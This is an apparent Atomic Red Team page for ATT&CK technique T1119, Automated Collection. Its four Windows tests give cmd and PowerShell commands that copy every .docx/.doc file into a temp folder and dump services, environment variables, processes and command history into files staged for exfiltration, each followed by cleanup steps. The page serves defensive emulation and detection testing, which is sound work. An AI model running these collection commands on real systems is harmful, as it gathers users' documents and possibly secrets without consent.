T1119 - Automated Collection

Description from ATT&CK

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files.

Atomic Tests

• Atomic Test #1 - Automated Collection Command Prompt

• Atomic Test #2 - Automated Collection PowerShell

• Atomic Test #3 - Recon information for export with PowerShell

• Atomic Test #4 - Recon information for export with Command Prompt

Atomic Test #1 - Automated Collection Command Prompt

Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_command_prompt_collection to see what was collected.

Supported Platforms: Windows

Attack Commands: Run with command_prompt!

mkdir %temp%\T1119_command_prompt_collection >nul 2>&1
dir c: /b /s .docx | findstr /e .docx
for /R c: %f in (*.docx) do copy %f %temp%\T1119_command_prompt_collection

Cleanup Commands:

del %temp%\T1119_command_prompt_collection /F /Q >null 2>&1

Atomic Test #2 - Automated Collection PowerShell

Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_powershell_collection to see what was collected.

Supported Platforms: Windows

Attack Commands: Run with powershell!

New-Item -Path $env:TEMP\T1119_powershell_collection -ItemType Directory -Force | Out-Null
Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\T1119_powershell_collection}

Cleanup Commands:

Remove-Item $env:TEMP\T1119_powershell_collection -Force -ErrorAction Ignore | Out-Null

Atomic Test #3 - Recon information for export with PowerShell

collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt to see what was collected.

Supported Platforms: Windows

Attack Commands: Run with powershell!

Get-Service > $env:TEMP\T1119_1.txt
Get-ChildItem Env: > $env:TEMP\T1119_2.txt
Get-Process > $env:TEMP\T1119_3.txt

Cleanup Commands:

Remove-Item $env:TEMP\T1119_1.txt -ErrorAction Ignore
Remove-Item $env:TEMP\T1119_2.txt -ErrorAction Ignore
Remove-Item $env:TEMP\T1119_3.txt -ErrorAction Ignore

Atomic Test #4 - Recon information for export with Command Prompt

collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt to see what was collected.

Supported Platforms: Windows

Attack Commands: Run with command_prompt!

sc query type=service > %TEMP%\T1119_1.txt
doskey /history > %TEMP%\T1119_2.txt
wmic process list > %TEMP%\T1119_3.txt
tree C:\AtomicRedTeam\atomics > %TEMP%\T1119_4.txt

Cleanup Commands:

del %TEMP%\T1119_1.txt >nul 2>&1
del %TEMP%\T1119_2.txt >nul 2>&1
